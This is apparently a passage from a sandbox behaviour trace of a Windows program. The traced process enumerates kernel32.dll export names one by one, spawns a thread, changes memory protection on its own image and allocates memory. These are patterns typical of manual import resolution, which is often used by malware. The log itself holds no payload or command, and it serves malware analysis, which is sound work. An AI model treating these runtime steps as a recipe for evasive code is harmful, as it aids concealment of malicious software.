lpString1="CreateTapePartition") returned="CreateTapePartition" [0045.697] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0045.697] lstrcpyA (in: lpString1=0x19f2ec, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0045.697] lstrlenA (lpString="CREATETHREAD") returned 12 [0045.697] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x436d70, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x200 [0045.724] lstrlenA (lpString="kernel32.dll") returned 12 [0045.724] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0045.724] lstrcpyA (in: lpString1=0x19f300, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0045.724] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0045.724] lstrcpyA (in: lpString1=0x19f300, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0045.724] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0045.724] lstrcpyA (in: lpString1=0x19f300, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0045.724] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0045.725] lstrcpyA (in: lpString1=0x19f300, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0045.725] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0045.725] lstrcpyA (in: lpString1=0x19f300, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0045.725] lstrlenA (lpString="ADDATOMA") returned 8 [0045.725] lstrcpyA (in: lpString1=0x19f300, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0045.725] lstrlenA (lpString="ADDATOMW") returned 8 [0045.725] lstrcpyA (in: lpString1=0x19f300, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0045.725] lstrcpyA (in: lpString1=0x19f300, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0045.725] CloseHandle (hObject=0x200) returned 1 [0045.725] RtlExitUserThread (Status=0x0) Thread: id = 2 os_tid = 0x548 Thread: id = 3 os_tid = 0xe0 Thread: id = 4 os_tid = 0xc6c [0045.753] VirtualProtect (in: lpAddress=0x400000, dwSize=0x254, flNewProtect=0x4, lpflOldProtect=0x21fff68 | out: lpflOldProtect=0x21fff68*=0x2) returned 1 [0045.753] VirtualProtect (in: lpAddress=0x400000, dwSize=0x254, flNewProtect=0x2, lpflOldProtect=0x21fff6c | out: lpflOldProtect=0x21fff6c*=0x8) returned 1 [0045.753] VirtualAlloc (lpAddress=0x0, dwSize=0x14, flAllocationType=0x3000, flProtect=0x4) returned 0x60000 [0045.754] VirtualAlloc (lpAddress=0x0, dwSize=0x101, flAllocationType=0x3000, flProtect=0x4) returned 0x70000 [0045.754] lstrlenA (lpString="kernel32.dll") returned 12 [0045.754] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0045.754] lstrcpyA (in: lpString1=0x21ff24c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0045.754] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0045.754] lstrcpyA (in: lpString1=0x21ff24c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0045.754] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0045.754] lstrcpyA (in: lpString1=0x21ff24c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0045.754] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0045.754] lstrcpyA (in: lpString1=0x21ff24c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0045.755] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0045.755] lstrcpyA (in: lpString1=0x21ff24c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0045.755] lstrlenA (lpString="ADDATOMA") returned 8 [0045.755] lstrcpyA (in: lpString1=0x21ff24c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0045.755] lstrlenA (lpString="ADDATOMW") returned 8 [0045.755] lstrcpyA (in: lpString1=0x21ff24c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0045.755] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0045.755] lstrcpyA (in: lpString1=0x21ff24c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0045.755] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0045.755] lstrcpyA (in: lpString1=0x21ff24c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0045.755] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0045.755] lstrcpyA (in: lpString1=0x21ff24c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0045.755] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0045.755] lstrcpyA (in: lpString1=0x21ff24c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0045.755] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0045.755] lstrcpyA (in: lpString1=0x21ff24c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0045.755] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0045.755] lstrcpyA (in: lpString1=0x21ff24c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0045.755] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0045.755] lstrcpyA (in: lpString1=0x21ff24c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0045.755] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0045.756] lstrcpyA (in: lpString1=0x21ff24c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0045.756] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0045.756] lstrcpyA (in: lpString1=0x21ff24c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0045.756] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0045.756] lstrcpyA (in: lpString1=0x21ff24c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0045.756] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0045.756] lstrcpyA (in: lpString1=0x21ff24c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0045.756] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0045.756] lstrcpyA (in: lpString1=0x21ff24c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0045.756] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0045.756] lstrcpyA (in: lpString1=0x21ff24c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0045.756] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0045.756] lstrcpyA (in: lpString1=0x21ff24c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0045.756] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0045.756] lstrcpyA (in: lpString1=0x21ff24c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0045.756] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0045.756] lstrcpyA (in: lpString1=0x21ff24c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0045.756] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0045.756] lstrcpyA (in: lpString1=0x21ff24c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0045.756] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0045.756] lstrcpyA (in: lpString1=0x21ff24c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0045.756] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0045.756] lstrcpyA (in: lpString1=0x21ff24c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0045.756] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0045.757] lstrcpyA (in: lpString1=0x21ff24c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0045.757] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0045.757] lstrcpyA (in: lpString1=0x21ff24c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0045.757] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0045.757] lstrcpyA (in: lpString1=0x21ff24c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0045.757] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0045.757] lstrcpyA (in: lpString1=0x21ff24c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0045.757] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0045.757] lstrcpyA (in: lpString1=0x21ff24c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0045.757] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0045.757] lstrcpyA (in: lpString1=0x21ff24c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0045.757] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0045.757] lstrcpyA (in: lpString1=0x21ff24c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0045.757] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0045.757] lstrcpyA (in: lpString1=0x21ff24c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0045.757] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0045.757] lstrcpyA (in: lpString1=0x21ff24c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0045.757] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0045.757] lstrcpyA (in: lpString1=0x21ff24c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0045.757] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0045.757] lstrcpyA (in: lpString1=0x21ff24c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0045.757] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0045.757] lstrcpyA (in: lpString1=0x21ff24c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0045.757] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0045.757] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0045.757] lstrlenA (lpString="BACKUPREAD") returned 10 [0045.757] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0045.757] lstrlenA (lpString="BACKUPSEEK") returned 10 [0045.757] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0045.757] lstrlenA (lpString="BACKUPWRITE") returned 11 [0045.757] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0045.757] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0045.757] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0045.757] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0045.758] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0045.758] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0045.758] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0045.758] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0045.760] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0045.760] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0045.761] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0045.761] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0045.761] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0045.761] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0045.761] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0045.761] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0045.761] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0045.761] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0045.761] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0045.761] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0045.761] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0045.761] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0045.761] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0045.761] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0045.761] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0045.761] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0045.761] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0045.761] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0045.761] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0045.761] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0045.761] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0045.761] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0045.761] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0045.761] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0045.761] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0045.761] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0045.761] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0045.761] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0045.761] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0045.761] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0045.761] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0045.761] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0045.761] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0045.761] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0045.761] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0045.761] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0045.762] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0045.762] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0045.762] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0045.762] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0045.762] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0045.762] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0045.762] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0045.762] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0045.762] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0045.762] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0045.762] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0045.762] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0045.762] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0045.762] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0045.762] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0045.762] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0045.762] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0045.762] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0045.762] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0045.762] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0045.762] lstrcpyA (in: lpString1=0x21ff24c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0045.762] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0045.762] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0045.762] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0045.762] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0045.762] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0045.762] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0045.762] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0045.762] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0045.762] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0045.762] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0045.762] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0045.762] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0045.763] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0045.763] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0045.763] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0045.763] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0045.763] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0045.763] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0045.763] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0045.763] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0045.763] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0045.763] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0045.763] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0045.763] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0045.763] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0045.763] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0045.763] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0045.763] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0045.763] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0045.763] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0045.763] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0045.763] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0045.763] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0045.763] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0045.764] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0045.764] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0045.764] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0045.764] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0045.764] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0045.764] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0045.764] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0045.764] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0045.764] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0045.764] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0045.764] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0045.764] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0045.764] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0045.764] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0045.764] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0045.764] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0045.764] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0045.764] lstrcpyA (in: lpString1=0x21ff24c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0045.764] lstrlenA (lpString="BEEP") returned 4 [0045.765] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0045.765] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 